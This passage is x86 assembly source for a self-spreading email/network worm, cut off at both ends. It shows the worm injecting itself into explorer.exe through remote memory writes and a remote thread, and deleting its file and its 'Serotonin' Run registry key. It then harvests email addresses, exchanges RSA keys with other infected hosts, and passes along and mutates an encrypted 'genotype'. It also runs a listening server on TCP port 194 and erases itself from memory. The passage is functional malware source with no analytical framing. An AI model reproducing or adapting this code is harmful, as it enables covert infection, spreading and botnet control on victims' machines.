@pushsz 'CryptExportKey' push ebx call esi mov [ebp + _CryptExportKey - tgdelta],eax ;--- " " --- @pushsz 'CryptEncrypt' push ebx call esi mov [ebp + _CryptEncrypt - tgdelta],eax ;--- " " --- @pushsz 'CryptDecrypt' push ebx call esi mov [ebp + _CryptDecrypt - tgdelta],eax ;--- " " --- @pushsz 'CryptReleaseContext' push ebx call esi mov [ebp + _CryptReleaseContext - tgdelta],eax ;--- " " --- ret crypt32_apiz EndP ;retrieves all needed API addresses from WSOCK32.dll wsock32_api Proc @pushsz 'WSOCK32' call [ebp + _LoadLibraryA - tgdelta] xchg eax,ebx ;load WSOCK32.dll mov [ebp + _wsock32 - tgdelta],ebx @pushsz 'WSAStartup' push ebx mov esi,[ebp + _GetProcAddress - tgdelta] call esi mov [ebp + _WSAStartup - tgdelta],eax ;save API address @pushsz 'socket' push ebx call esi mov [ebp + _socket - tgdelta],eax ;--- " " --- @pushsz 'connect' push ebx call esi mov [ebp + _connect - tgdelta],eax ;--- " " --- @pushsz 'recv' push ebx call esi mov [ebp + _recv - tgdelta],eax ;--- " " --- @pushsz 'send' push ebx call esi mov [ebp + _send - tgdelta],eax ;--- " " --- @pushsz 'bind' push ebx call esi mov [ebp + _bind - tgdelta],eax ;--- " " --- @pushsz 'listen' push ebx call esi mov [ebp + _listen - tgdelta],eax ;--- " " --- @pushsz 'accept' push ebx call esi mov [ebp + _accept - tgdelta],eax ;--- " " --- @pushsz 'gethostname' push ebx call esi mov [ebp + _gethostname - tgdelta],eax ;--- " " --- @pushsz 'gethostbyname' push ebx call esi mov [ebp + _gethostbyname - tgdelta],eax ;--- " " --- @pushsz 'closesocket' push ebx call esi mov [ebp + _closesocket - tgdelta],eax ;--- " " --- @pushsz 'WSACleanup' push ebx call esi mov [ebp + _WSACleanup - tgdelta],eax ;--- " " --- ret wsock32_api EndP ;retrieves all needed API addresses from PSAPI.dll psapi_apiz Proc @pushsz 'PSAPI' mov eax,12345678h _LoadLibraryA = dword ptr $-4 call eax ;load PSAPI.dll xchg eax,ebx mov [ebp + _psapi - gdelta],ebx @pushsz 'EnumProcesses' push ebx mov esi,12345678h _GetProcAddress = dword ptr $-4 call esi mov [ebp + _EnumProcesses - gdelta],eax ;save API address @pushsz 'EnumProcessModules' push ebx call esi mov [ebp + _EnumProcessModules - gdelta],eax ;--- " " --- @pushsz 'GetModuleBaseNameA' push ebx call esi mov [ebp + _GetModuleBaseNameA - gdelta],eax ret ;--- " " --- psapi_apiz EndP ;analyses running process, searches for explorer.exe and implants there worm body analyse_process Proc pushad push eax push 0 push 43Ah mov eax,12345678h _OpenProcess = dword ptr $-4 call eax ;PID -> handle test eax,eax je end_ap mov [ebp + hProcess - gdelta],eax push eax ;save handle to stack * push eax lea esi,[ebp + modz - gdelta] lea ecx,[ebp + tmp - gdelta] push ecx push 4 push esi push eax mov eax,12345678h _EnumProcessModules = dword ptr $-4 call eax ;get first (main) module pop ecx dec eax jne end_ap1 lodsd mov [ebp + module_base - gdelta],eax lea esi,[ebp + mod_name - gdelta] push MAX_PATH push esi push eax push ecx mov eax,12345678h _GetModuleBaseNameA = dword ptr $-4 call eax ;get its name xchg eax,ecx test ecx,ecx je end_ap1 @pushsz 'explorer.exe' pop edi call lowercase pushad rep cmpsb popad jne end_ap1 lea esi,[ebp + Start - gdelta] mov edi,_virtual_end-Start virtual_end = dword ptr $-4 push PAGE_READWRITE push MEM_RESERVE push 4000000h push 0 push 12345678h hProcess = dword ptr $-4 mov ebx,12345678h _VirtualAllocEx = dword ptr $-4 call ebx ;reserve 64MB of memory for worm test eax,eax ; ( more memory may be allocated je end_ap1 ;at runtime ) push PAGE_READWRITE push MEM_COMMIT push edi push eax push dword ptr [ebp + hProcess - gdelta] call ebx ;aloc memory for worm test eax,eax je end_ap1 xchg eax,ebx mov [ebp + worm_base - gdelta],ebx ;save address push 0 push edi push esi push ebx push dword ptr [ebp + hProcess - gdelta] mov eax,12345678h _WriteProcessMemory = dword ptr $-4 call eax ;write there our code dec eax jne free_mem mov word ptr [ebp + ps_patch - gdelta],9090h ;patch short jump with 2 NOPs sub ebx,Start-rtStart xor edx,edx push edx push edx push edx push ebx push edx push edx push dword ptr [ebp + hProcess - gdelta] mov eax,12345678h _CreateRemoteThread = dword ptr $-4 call eax ;run remote thread! push eax call [ebp + _CloseHandle - gdelta] jmp end_ap1 ;make string lowercase proc lowercase: pushad c_lc: lodsb test al,al je e_lc or byte ptr [esi-1],20h jmp c_lc e_lc: popad ret ;free allocated memory free_mem: push MEM_RELEASE push 0 push ebx push dword ptr [ebp + hProcess - gdelta] mov eax,12345678h _VirtualFreeEx = dword ptr $-4 call eax ;deallocate memory ;and quit end_ap1:mov eax,12345678h _CloseHandle = dword ptr $-4 call eax ;close process handle * end_ap: popad ret ;and quit analyse_process EndP ;read 5 bytez from the socket get_response5: mov ecx,5 ;ECX = 5 call @response response db 5 dup (?) @response: pop edi ;EDI = 5-bytes long buffer ;read ECX bytez to EDI PTR buffer get_response: push 0 push ecx push edi push 12345678h hSocket = dword ptr $-4 mov eax,12345678h _recv = dword ptr $-4 ;get response from worm call eax cmp eax,5 jb err_gr inc eax je err_gr dec eax clc ;CF=0, everything OK ret err_gr: stc ;CF=1, error occured ret ;send ECX bytez from ESI PTR buffer via socket write_socket: push 0 push ecx push esi push dword ptr [ebp + hSocket - tgdelta] mov eax,12345678h _send = dword ptr $-4 call eax ret ;allocatez one page in worm's memory, EDI = address of page alloc_page: pushad push PAGE_READWRITE push MEM_COMMIT push 1000h push edi ;EDI = uncommitted page to commit mov eax,12345678h _VirtualAlloc = dword ptr $-4 call eax ;allocate another 4096 bytez for worm body popad ret ;allocatez memory, size given by ECX, ZF set on error alloc_memory: push PAGE_READWRITE push MEM_RESERVE or MEM_COMMIT push ecx push 0 call [ebp + _VirtualAlloc - tgdelta] test eax,eax ;ZF=1, error occured ret ;ZF=0, everything OK ;deallocatez allocated memory, ptr given by EAX dealloc_memory: push MEM_RELEASE push 0 push eax call [ebp + _VirtualFree - tgdelta] ret ;-------------------------------------------- ; ;PROCEDURE activate_gen ; ; ;INPUT: ; [ESP+4] - genotype type ; ;OUTPUT: ; EAX - result ; ;-------------------------------------------- ;callz genotype code, input in stack: genotype type activate_gen Proc push ebp call ggdelta ;get delta offset ggdelta:pop ebp ;(used by both of client & server) gen_start: lea esi,[ebp + GENOTYPE - ggdelta] ;get ptr to genotype lodsd ;get count of genz xchg eax,ecx ;to ECX gen_loop: push ecx lodsb ;get type of gen cmp al,[esp+12] ;compare it with argument jne next_gen ;get next if not match dw 310Fh ;RDTCS xor edx,edx ;EDX=0 push 3 pop ecx ;ECX=3 div ecx ;EDX = rnd <0..2> dec edx ;decrement EDX pop ecx ;restore counter je ag_dispatch ;call code if EDX=0 n_gen: add esi,8 ;get to next gen loop gen_loop ;... jmp gen_start ;already passed down, start at beginning next_gen: pop ecx ;restore counter jmp n_gen ;and continue... ag_dispatch: lodsd ;get relative ptr to code lea eax,[ebp + GENOTYPE + eax - ggdelta] ;normalize mov esi,12345678h ;ESI - ptr to GMHA _GetModuleHandleA = dword ptr $-4 mov edi,[ebp + _GetProcAddress - ggdelta] ;EDI - ptr to GPA call eax ;dispatch genotype code pop ebp ;restore EBP ret 4 ;and quit (result is in EAX) activate_gen EndP ;here starts implanted code which operatez in EXPLORER.EXE's address space rtStart Proc pushad @SEH_SetupFrame <jmp end_seh> ;__try block call tgdelta ;get delta offset tgdelta:pop ebp ;to EBP lea eax,[ebp + mutexName - tgdelta] push eax push 0 push 0 mov eax,12345678h _CreateMutexA = dword ptr $-4 ;set already-infected mark call eax ;(create named mutex) push 60000 mut_sleep_time = dword ptr $-4 ;mutable variable mov eax,12345678h _Sleep = dword ptr $-4 call eax ;wait 10 minutez lea eax,[ebp + filename - tgdelta] push eax mov eax,12345678h _DeleteFileA = dword ptr $-4 call eax ;delete worm file @pushsz 'SHLWAPI' call [ebp + _GetModuleHandleA - tgdelta] test eax,eax ;get base address of SHLWAPI.DLL je end_seh @pushsz 'SHDeleteValueA' push eax ;get address of SHDeleteValueA API call [ebp + _GetProcAddress - tgdelta] @pushsz 'Serotonin' @pushsz 'Software\Microsoft\Windows\CurrentVersion\Run' push 80000001h call eax ;delete registry record push GEN_INITWORM ;activate initialization procedure call activate_gen ;stored in worm genotype ;create RSA private/public key pair call wsock32_api ;get WSOCK32.dll API addresses call crypt32_apiz ;get all needed crypto API addresses call crypt_create_context ;initialize crypt32.dll jc install_server ;quit if error ;Find email addresses and store them in EXPLORER.EXE's heap push GEN_FINDVICTIMS ;activate victim-search engine call activate_gen ;stored in worm genotype test eax,eax je install_server ;quit if error occured mov [ebp + heap_emailz - tgdelta],eax ;save address of heap ( email addresses ;are stored there ) ;Initialize windows socketz call wsa_startup ;initialize WSOCK32.DLL jne crypt32_destroy_worm call create_socket ;create socket je wsa_destroy_worm ;quit if error dec eax ;correct socket handle mov [ebp + hSocket - tgdelta],eax ;save it ;Find another worm in Internet push GEN_FINDWORM call activate_gen ;IPs found via genotype test eax,eax jne connect_worm ;we got IP ;Get pointer to IP storage (2nd part of manifest) and check it lea eax,[ebp + MANIFEST - tgdelta] mov esi,eax add esi,[eax.MAN_IPSPTR] mov ecx,[eax.MAN_IPSNUM] ip_loop:lodsd ;get IP to EAX mov [ebp + socket_address - tgdelta],eax push ecx push sizeofsocket lea eax,[ebp + socket - tgdelta] push eax push dword ptr [ebp + hSocket - tgdelta] call [ebp + _connect - tgdelta] pop ecx ;try to connect test eax,eax je got_ip loop ip_loop ;disconnected, try another IP ;No IP infected, create new worm, spread it and install worm server call @ebx dd ? dd ? dd ? @ebx: pop ebx mov eax,[ebp + worm_base - tgdelta] mov [ebx+8],eax lea esi,[ebp + MANIFEST - tgdelta] mov [ebx+4],esi mov eax,[esi+4] imul eax,4 add eax,[esi] mov [ebx],eax push GEN_CREATEWORM call activate_gen ;create new worm call spread_the_worm ;spread it jmp socket_destroy_worm ;and install server ;spread the worm by genotype code and delete worm file spread_the_worm: mov ebx,12345678h heap_emailz = dword ptr $-4 push GEN_SPREADWORM call activate_gen ret ;connect to infected IP connect_worm: mov [ebp + socket_address - tgdelta],eax ;save the IP ;Connect to server and authentificate via RSA push sizeofsocket lea eax,[ebp + socket - tgdelta] push eax push dword ptr [ebp + hSocket - tgdelta] mov eax,12345678h _connect = dword ptr $-4 call eax ;connect to worm test eax,eax jne socket_destroy_worm ;quit if error got_ip: call export_key jne socket_destroy_worm ;quit if error mov ecx,[ebp + pubkey_size - tgdelta] lea esi,[ebp + protocol_MAGIC - tgdelta] mov byte ptr [esi],WORMNET_SENDKEY mov [esi+1],ecx add ecx,5 call write_socket ;send public key to worm call get_response5 ;get response jc socket_destroy_worm cmp byte ptr [edi],WORMNET_SENDKEY jne socket_destroy_worm ;must be WORMNET_SENDKEY mov ecx,[edi+1] cmp ecx,96 jb socket_destroy_worm ;key must be > 96 bytez mov eax,1000h cmp eax,ecx jb socket_destroy_worm ;but < 4096 bytez mov ebx,ecx call alloc_memory ;allocate memory for new key je socket_destroy_worm mov [ebp + key_mem - tgdelta],eax xchg eax,edi call get_response ;recieve public key jc socket_destroy_worm call import_key jne socket_destroy_worm ;quit if error mov eax,12345678h key_mem = dword ptr $-4 call dealloc_memory ;deallocate memory ;encrypt worm's genotype and store it in buffer mov eax,[ebp + MANIFEST.MAN_IPSPTR - tgdelta] sub eax,8 push eax imul eax,80h ;80h = encrypted text block size push 75h pop ecx ;ECX = plain text block size cdq div ecx ;size of buffer for encryption xchg eax,ecx ;in ECX call alloc_memory ;allocate memory for buffer pop ecx je key_destroy_worm mov [ebp + mem_genotype - tgdelta],eax xchg eax,edi ;save address of buffer and dword ptr [ebp + gen_size - tgdelta],0 push 75h pop ebx ;EBX = plain text block size lea esi,[ebp + GENOTYPE - tgdelta] ;ESI = start of genotype in memory crypt_loop: push ecx push ecx push edi cmp ecx,ebx jb o_crypt_var mov ecx,ebx o_crypt_var: rep movsb ;copy plaintext over the buffer pop edi pop ecx cmp ecx,ebx jb crypt_final ;is it last block? je crypt_final call crypt_encrypt ;encrypt one block pop ecx mov eax,[ebp + tmp - tgdelta] add edi,eax sub ecx,ebx add [ebp + gen_size - tgdelta],eax jmp crypt_loop ;correct variablez and continue ;encrypt the last block crypt_final: pop ecx call crypt_encrypt_final mov ecx,12345678h gen_size = dword ptr $-4 add ecx,[ebp + tmp - tgdelta] ;ECX = size of encrypted genotype push ecx lea esi,[ebp + protocol_MAGIC - tgdelta] mov byte ptr [esi],WORMNET_SENDGENOTYPE mov [esi+1],ecx push 5 pop ecx call write_socket ;send header to worm mov esi,12345678h mem_genotype = dword ptr $-4 pop ecx call write_socket ;send genotype to worm mov eax,esi call dealloc_memory call get_response5 ;get response jc key_destroy_worm cmp byte ptr [edi],WORMNET_SENDMANIFEST jne key_destroy_worm ;must be WORMNET_SENDMANIFEST mov ecx,[edi+1] mov ebx,ecx call alloc_memory ;allocate memory for manifest je key_destroy_worm mov [ebp + mem_manifest - tgdelta],eax xchg eax,edi push ecx call get_response ;recieve manifest pop ecx jc key_destroy_worm ;Decrypt manifest stored in encrypted blocks mov ecx,ebx and dword ptr [ebp + man_size - tgdelta],0 push 80h pop ebx mov esi,edi decrypt_loop: pushad mov ecx,80h rep movsb ;copy encrypted text over the buffer popad push ecx cmp ecx,ebx je decrypt_final ;is it last block? call crypt_decrypt pop ecx push 75h pop eax sub ecx,ebx add edi,eax add esi,ebx add [ebp + man_size - tgdelta],eax jmp decrypt_loop ;correct variablez and continue ;decrypt last block decrypt_final: pop ecx call crypt_decrypt_final mov ecx,12345678h man_size = dword ptr $-4 add ecx,[esi] ;ECX = size of decrypted manifest ;implant new manifest into worm body pushad mov esi,[ebp + mem_manifest - tgdelta] ;ESI = decrypted manifest lea edi,[ebp + MANIFEST - tgdelta] ;EDI = address of worm's manifest mov ecx,[esi.MAN_IPSPTR] ;get pointer to IP storage mov eax,[esi.MAN_IPSNUM] ;get count of IPs imul eax,4 ;multiply by IP address size add ecx,eax ;ECX = size of new manifest call copy_manifest ;replace old manifest with the new one popad mov eax,ecx ;EAX = size of new manifest add eax,MANIFEST-Start ;add size of code placed before the manifest mov [ebp + virtual_end - tgdelta],eax ;correct size of worm body ;create new worm call @man_size_address dd ? ;1st param - size of manifest dd 12345678h ;2nd param - address of manifest mem_manifest = dword ptr $-4 dd ? ;3rd param - address of worm @man_size_address: pop ebx ;EBX = register holding parameters mov [ebx],ecx mov eax,[ebp + worm_base - tgdelta] mov [ebx+8],eax ;set parameters push GEN_CREATEWORM call activate_gen ;create new worm ;spread the worm call spread_the_worm mov [ebp + num_of_emailz - tgdelta],eax ;deallocate heap memory allocated for email addresses mov eax,12345678h _GetProcessHeap = dword ptr $-4 call eax ;get handle to default process's heap push ebx push 0 push eax mov eax,12345678h _HeapFree = dword ptr $-4 call eax ;deallocate heap memory ;send report to worm call @report num_of_emailz dd ? ;1st param - number of email addresses num_of_IPz dd ? ;2nd param - number of IPs in IP storage db 80h-8 dup (?) ;block padding @report:pop edi mov ecx,[ebp + MANIFEST.MAN_IPSNUM - tgdelta] mov [edi.REP_IPSNUM],ecx lea eax,[ebp + tmp - tgdelta] mov dword ptr [eax],75h push 80h push eax push edi push 0 push 1 push 0 push dword ptr [ebp + cXchgKey - tgdelta] call [ebp + _CryptEncrypt - tgdelta] ;encrypt report lea esi,[ebp + protocol_MAGIC - tgdelta] mov byte ptr [esi],WORMNET_SENDREPORT mov dword ptr [esi+1],80h push 5 pop ecx call write_socket ;send header to worm mov esi,edi mov ecx,80h call write_socket ;send report to worm mov byte ptr [esi],WORMNET_DISCONNECT xor ecx,ecx inc ecx call write_socket ;send disconnection signal mov eax,[ebp + mem_manifest - tgdelta] call dealloc_memory ;deallocate memory used by manifest key_destroy_worm: push dword ptr [ebp + cXchgKey - tgdelta] call [ebp + _CryptDestroyKey - tgdelta] ;destroy key used for encryption socket_destroy_worm: push dword ptr [ebp + hSocket - tgdelta] mov eax,12345678h _closesocket = dword ptr $-4 call eax ;close socket wsa_destroy_worm: mov eax,12345678h _WSACleanup = dword ptr $-4 call eax ;unitialize WSOCK32.DLL crypt32_destroy_worm: push dword ptr [ebp + cKey - tgdelta] mov eax,12345678h _CryptDestroyKey = dword ptr $-4 call eax ;destroy key pair push 0 push dword ptr [ebp + cProvider - tgdelta] mov eax,12345678h _CryptReleaseContext = dword ptr $-4 call eax ;release crypto context ;install server on infected computer and call custom routine install_server: xor eax,eax lea ecx,[ebp + ServerThread - tgdelta] push eax push eax push ebp push ecx push eax push eax mov eax,12345678h _CreateThread = dword ptr $-4 call eax ;create server thread test eax,eax je destroy_worm xchg eax,ebx push GEN_CUSTOM ;activate custom routine stored call activate_gen ;in genotype push -1 push ebx mov eax,12345678h _WaitForSingleObject = dword ptr $-4 call eax ;wait for its termination push ebx call [ebp + _CloseHandle - tgdelta] ;close thread handle push 12345678h _wsock32 = dword ptr $-4 call [ebp + _FreeLibrary - tgdelta] ;unload WSOCK32.DLL lea edi,[ebp + filename - tgdelta] push edi push MAX_PATH-14 push edi mov eax,12345678h _GetSystemDirectoryA = dword ptr $-4 call eax add edi,eax mov eax,'niw\' stosd mov eax,'es23' stosd mov eax,'xe.r' stosd mov ax,'e' stosw ;construct %sysdir%\win32ser.exe call [ebp + _DeleteFileA - tgdelta] ;delete temporary file ;destroy worm body in memory - copy small code to .reloc section which will delete ; all worm body and terminate worm's main thread destroy_worm: mov ebx,12345678h module_base = dword ptr $-4 ;address of EXPLORER.EXE mov eax,[ebx.MZ_lfanew] add eax,ebx mov edi,[eax.NT_OptionalHeader.OH_DirectoryEntries.DE_BaseReloc.DD_VirtualAddress] test edi,edi je end_seh ;check for .reloc section presence cmp [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_BaseReloc.DD_Size],ender_end-Ender jb end_seh ;check its size add edi,ebx lea eax,[ebp + tmp - tgdelta] push eax push PAGE_READWRITE push ender_end-Ender push edi mov eax,12345678h _VirtualProtect = dword ptr $-4 call eax ;unprotect 1st page in .reloc section push edi lea esi,[ebp + Ender - tgdelta] mov ecx,ender_end-Ender rep movsb ;copy there ender code pop edi push MEM_RELEASE push 0 push 12345678h worm_base = dword ptr $-4 mov eax,12345678h _VirtualFree = dword ptr $-4 jmp edi ;jump to ender code rtStart EndP ;ender code - deletes worm body from memory and terminates itself Ender Proc call eax ;release all worm pages push 0 mov eax,12345678h _ExitThread = dword ptr $-4 call eax ;and terminate worm's main thread ender_end: Ender EndP ;create crypto context and key pair crypt_create_context: push 10h push 1 push 0 lea esi,[ebp + mutexName - tgdelta] push esi lea ebx,[ebp + cProvider - tgdelta] push ebx mov edi,12345678h _CryptAcquireContextA = dword ptr $-4 call edi ;delete crypto context push 8 push 1 push 0 push esi push ebx call edi ;create new one dec eax jne err_ccc lea esi,[ebp + cKey - tgdelta] push esi push 0 push 1 push dword ptr [ebp + cProvider - tgdelta] mov eax,12345678h _CryptGenKey = dword ptr $-4 call eax ;create new public/private key pair clc ret ;CF=0, everything OK err_ccc:stc ret ;CF=1, error occured wsa_startup: lea eax,[ebp + WSAData - tgdelta] push eax push 101h mov eax,12345678h _WSAStartup = dword ptr $-4 call eax ;initialize WSOCK32.DLL test eax,eax ret create_socket: push 0 push 1 push 2 mov eax,12345678h _socket = dword ptr $-4 call eax ;create socket inc eax ret export_key: lea eax,[ebp + pubkey_size - tgdelta] mov dword ptr [eax],public_key_length push eax lea eax,[ebp + public_key - tgdelta] push eax push 0 push 6 push 0 push dword ptr [ebp + cKey - tgdelta] mov eax,12345678h _CryptExportKey = dword ptr $-4 call eax ;export public key dec eax ret import_key: lea eax,[ebp + cXchgKey - tgdelta] push eax push 0 push 0 push ebx push edi push 12345678h cProvider = dword ptr $-4 mov eax,12345678h _CryptImportKey = dword ptr $-4 call eax ;import public key dec eax ret crypt_decrypt: lea eax,[ebp + tmp - tgdelta] mov dword ptr [eax],75h push eax push edi push 0 push 0 push 0 push 12345678h cKey = dword ptr $-4 mov eax,12345678h _CryptDecrypt = dword ptr $-4 call eax ;decrypt one block ret crypt_encrypt: lea eax,[ebp + tmp - tgdelta] mov [eax],ebx push 80h ;encrypted text block size push eax ;size of plaintext to encrypt push edi ;address of plaintext push 0 push 0 push 0 push 12345678h cXchgKey = dword ptr $-4 mov eax,12345678h _CryptEncrypt = dword ptr $-4 call eax ;encrypt one block ret crypt_decrypt_final: lea esi,[ebp + tmp - tgdelta] mov [esi],ecx push esi push edi push 0 push 1 push 0 push dword ptr [ebp + cKey - tgdelta] call [ebp + _CryptDecrypt - tgdelta] ;decrypt final block ret crypt_encrypt_final: lea eax,[ebp + tmp - tgdelta] mov [eax],ecx push 80h push eax push edi push 0 push 1 push 0 push dword ptr [ebp + cXchgKey - tgdelta] call [ebp + _CryptEncrypt - tgdelta] ;encrypt final block ret copy_manifest: call cm_new_eh ;__try block ;__except block mov ecx,[esp.EH_ContextRecord] ;get address of context mov esi,[ecx.CONTEXT_Esi] ;repair ESI register mov edi,[ecx.CONTEXT_Edi] ;repair EDI register mov ecx,[ecx.CONTEXT_Ecx] ;repair ECX register mov esp,[esp.EH_EstablisherFrame] ;repair ESP register call alloc_page ;allocate next page @SEH_RemoveFrame ;remove SEH handler jmp copy_manifest ;and try again cm_new_eh: xor edx,edx push dword ptr fs:[edx] mov fs:[edx],esp rep movsb ;copy new manifest over the worm body @SEH_RemoveFrame ;remove SEH handler ret ;Server thread procedure ServerThread Proc pushad @SEH_SetupFrame <jmp st_end> ;__try block mov ebp,[esp.cPushad+12] ;get delta offset ;INITIALIZATION... call crypt_create_context ;initialize crypt32.dll jc st_end call wsa_startup ;initialize wsock32.dll jne crypt_st_end call create_socket ;create socket je wsa_st_end dec eax mov [ebp + hSocket2 - tgdelta],eax ;save its handle push 10h call @socket st_socket: dw 2 dw 0C200h ;TCP port 194 dd 0100007Fh dq ? @socket: push dword ptr [ebp + hSocket2 - tgdelta] mov eax,12345678h _bind = dword ptr $-4 call eax ;bind to TCP port 194 push 20 push dword ptr [ebp + hSocket2 - tgdelta] mov eax,12345678h _listen = dword ptr $-4 call eax ;switch to listen mode test eax,eax jne socket_st_end and [ebp + num_of_clients - tgdelta],eax ;nulify "number of handled clients" ;variable mov eax,12345678h _GetTickCount = dword ptr $-4 call eax ;get current count of ticks mov [ebp + st_ticks - tgdelta],eax ;save it server_loop: lea eax,[ebp + st_socket - tgdelta] ;get ptr to socket structure call _ten dd 10h _ten: push eax push dword ptr [ebp + hSocket2 - tgdelta] mov eax,12345678h _accept = dword ptr $-4 call eax ;wait for incomming data mov [ebp + hSocket - tgdelta],eax ;save new socket ;ACCEPTING WORM'S PUBLIC KEY... call get_response5 ;get response from worm jc socket_server_loop ;quit if error cmp byte ptr [edi],WORMNET_SENDKEY ;does it send its public key? jne socket_server_loop ;quit if not mov ecx,[edi+1] ;get size of data mov ebx,ecx ;to EBX lea edi,[ebp + public_key - tgdelta];ptr to public key storage call get_response ;store public key jc socket_server_loop ;quit if error call import_key ;import worm's public key jne socket_server_loop ;quit if error ;SENDING ITS OWN PUBLIC KEY... call export_key ;export its own public key jne key_server_loop ;quit if error mov ecx,[ebp + pubkey_size - tgdelta] mov [ebp + response+1 - tgdelta],ecx ;save size of its own public key lea esi,[ebp + public_key - tgdelta];get ptr to public key pushad push 5 pop ecx lea esi,[ebp + response - tgdelta] call write_socket ;send header popad call write_socket ;send data (public key) ;PUBLIC KEYZ ARE ALREADY EXCHANGED, STORE WORM'S IP ADDRESS... lea ecx,[ebp + MANIFEST - tgdelta] ;get ptr to MANIFEST mov edi,[ecx.MAN_IPSPTR] ;get rva to IP storage add edi,ecx ;normalize to va ptr mov eax,[ecx.MAN_IPSNUM] ;get number of IPs imul eax,4 ; * 4 (size of one IP) add edi,eax ;get to end of lea eax,[ebp + st_socket+4 - tgdelta] ;get IP address of the worm pushad call new_eh ;__try block ;__except block mov ecx,[esp.EH_ContextRecord] mov edi,[ecx.CONTEXT_Edi] mov eax,[ecx.CONTEXT_Eax] mov ebp,[ecx.CONTEXT_Ebp] mov esp,[esp.EH_EstablisherFrame] call alloc_page ;allocate next page jmp q_seh new_eh: xor edx,edx push dword ptr fs:[edx] mov fs:[edx],esp q_seh: stosd ;store new IP to IP storage @SEH_RemoveFrame popad inc dword ptr [ecx.MAN_IPSNUM] ;increment "number of IPs" variable mov [ebp + st_genotype_only - tgdelta],ebp ;de-nulify this variable ;PERFORM CHECKS AND RECIEVE ENCRYPTED GENOTYPE... call get_response5 ;get response jc key_server_loop ;quit if error mov al,[edi] ;get status code cmp al,WORMNET_SENDGENOTYPEONLY ;is it genotype broadcast? jne server_nextcheck ;no, continue and dword ptr [ebp + st_genotype_only - tgdelta],0 jmp server_overcheck ;nulify variable and continue server_nextcheck: cmp al,WORMNET_SENDGENOTYPE ;does the worm send genotype? jne key_server_loop ;no, quit server_overcheck: mov ecx,[edi+1] ;get size of encrypted genotype mov ebx,ecx ;to EBX call alloc_memory ;allocate memory for it je key_server_loop ;quit if error mov [ebp + st_mem_genotype - tgdelta],eax xchg eax,edi ;save memory ptr mov ecx,ebx call get_response ;recieve encrypted genotype jc key_server_loop ;quit if error ;DECRYPT RECIEVED GENOTYPE... mov ecx,ebx and dword ptr [ebp + st_gen_size - tgdelta],0 push 80h pop ebx ;EBX = encrypted block size mov esi,edi ;initialize pointerz st_decrypt_loop: pushad mov ecx,ebx rep movsb ;copy one block to continuous plaintext block popad push ecx cmp ecx,ebx ;is it last block? je st_decrypt_final call crypt_decrypt ;decrypt one block push 75h pop eax pop ecx sub ecx,ebx add edi,eax add esi,ebx ;correct variables and continue add [ebp + st_gen_size - tgdelta],eax jmp st_decrypt_loop st_decrypt_final: pop ecx call crypt_decrypt_final ;decrypt final block mov eax,[esi] add [ebp + st_gen_size - tgdelta],eax mov eax,0 ;broadcast this genotype? mut_nonstop_traffic = dword ptr $-4 test eax,eax je st_end_broadcast+1 ;no, dont send it to other worms ;(no nonstop network traffic thru this computer) ;BROADCAST GENOTYPE TO ALL KNOWN WORMS... lea esi,[ebp + MANIFEST - tgdelta] ;get ptr to MANIFEST mov eax,[esi.MAN_IPSPTR] ;get rva to IP storage mov ecx,[esi.MAN_IPSNUM] ;get count of stored IPs add esi,eax ;get va ptr to IP storage st_ip_loop: pushad call create_socket ;create socket je st_end_broadcast ;quit if error dec eax mov [ebp + hSocket3 - tgdelta],eax ;save it lodsd ;get IP from IP storage cmp eax,0100007Fh je st_next_ip ;discard localhost entry pushad push 160 lea esi,[ebp + filename - tgdelta] push esi mov eax,12345678h _gethostname = dword ptr $-4 call eax ;get name of this computer push esi mov eax,12345678h _gethostbyname = dword ptr $-4 call eax ;get IP address of this computer mov eax,[eax+14h] mov eax,[eax] cmp eax,[esp.Pushad_eax] ;is the IP of worm the same as IP of this computer? popad je st_next_ip ;yeah, get next IP mov [ebp + socket_address3 - tgdelta],eax ;save address of worm push sizeofsocket call @st_socket dw 2 dw 0C200h socket_address3 dd ? db 8 dup (?) @st_socket: push dword ptr [ebp + hSocket3 - tgdelta] call [ebp + _connect - tgdelta] ;connect to worm test eax,eax jne st_next_ip ;quit if error call genotype_broadcast ;send genotype there st_next_ip: push 12345678h hSocket3 = dword ptr $-4 call [ebp + _closesocket - tgdelta] ;close connection popad dec ecx jne st_ip_loop ;and get next IP pushad st_end_broadcast: popad ;PAIR TWO GENOTYPES AND MUTATE THE RESULT... call @pair_ebx dd ? dd ? @pair_ebx: pop ebx mov eax,[ebp + st_mem_genotype - tgdelta] mov [ebx],eax ;save address of new genotype as argument lea eax,[ebp + GENOTYPE - tgdelta] mov [ebx+4],eax ;save address of old genotype as argument push GEN_PAIRGENOTYPES call activate_gen ;pair these genotypes into one xchg eax,ebx ;new genotype ptr to EBX push GEN_MUTATEGENOTYPE call activate_gen ;mutate this genotype xchg eax,esi mov eax,12345678h st_mem_genotype = dword ptr $-4 call dealloc_memory ;deallocate genotype memory ;CREATE MANIFEST BASED ON NEW GENOTYPE AND IP STORAGE... push esi lea edx,[ebp + MANIFEST - tgdelta] mov ecx,[edx.MAN_IPSNUM] add edx,[edx.MAN_IPSPTR] push ecx push edx push ecx imul ecx,4 ;number of bytez for IPs add ecx,8 ;8-byte for manifest header add ecx,ebx ; + size of genotype mov [ebp + st_newmanifestsize - tgdelta],ecx call alloc_memory ;allocate memory of calculated size mov [ebp + st_newmanifest - tgdelta],eax ;save address xchg eax,edi mov eax,ebx ;EAX = size of genotype mov ecx,ebx ;ECX = EAX add eax,8 ;EAX += 8 (header size) stosd ;save relative ptr to IPs pop eax stosd ;save count of IPs rep movsb ;copy genotype pop esi ;get ptr to IPs pop ecx ;get count of IPs rep movsd ;copy IPs pop eax call dealloc_memory ;deallocate genotype memory mov ecx,12345678h ;the flag - client worm sent st_genotype_only = dword ptr $-4 ;only genotype, replace old jecxz replace_manifest ;manifest with the new one ;and close connection with client ;(broadcast case) ;ENCRYPT THE MANIFEST IN MEMORY and dword ptr [ebp + st_man_size - tgdelta],0 mov eax,12345678h ;ECX = size of whole plaintext st_newmanifestsize = dword ptr $-4 push eax imul eax,80h ;round the size cdq ;of the buffer push 75h ;on an encrypted block size pop ecx ;(EAX *= 80h/70h) div ecx xchg eax,ecx call alloc_memory pop ecx je key_server_loop xchg eax,edi push 75h pop ebx ;EBX = plain text block size mov esi,[ebp + st_newmanifest - tgdelta] ;ESI = start of manifest in memory push edi st_crypt_loop: push ecx push ecx push edi mov ecx,ebx rep movsb ;copy plaintext over the buffer pop edi pop ecx cmp ecx,ebx jb st_crypt_final ;is it last block? je st_crypt_final call crypt_encrypt ;encrypt one block pop ecx mov eax,[ebp + tmp - tgdelta] add edi,eax sub ecx,ebx add [ebp + st_man_size - 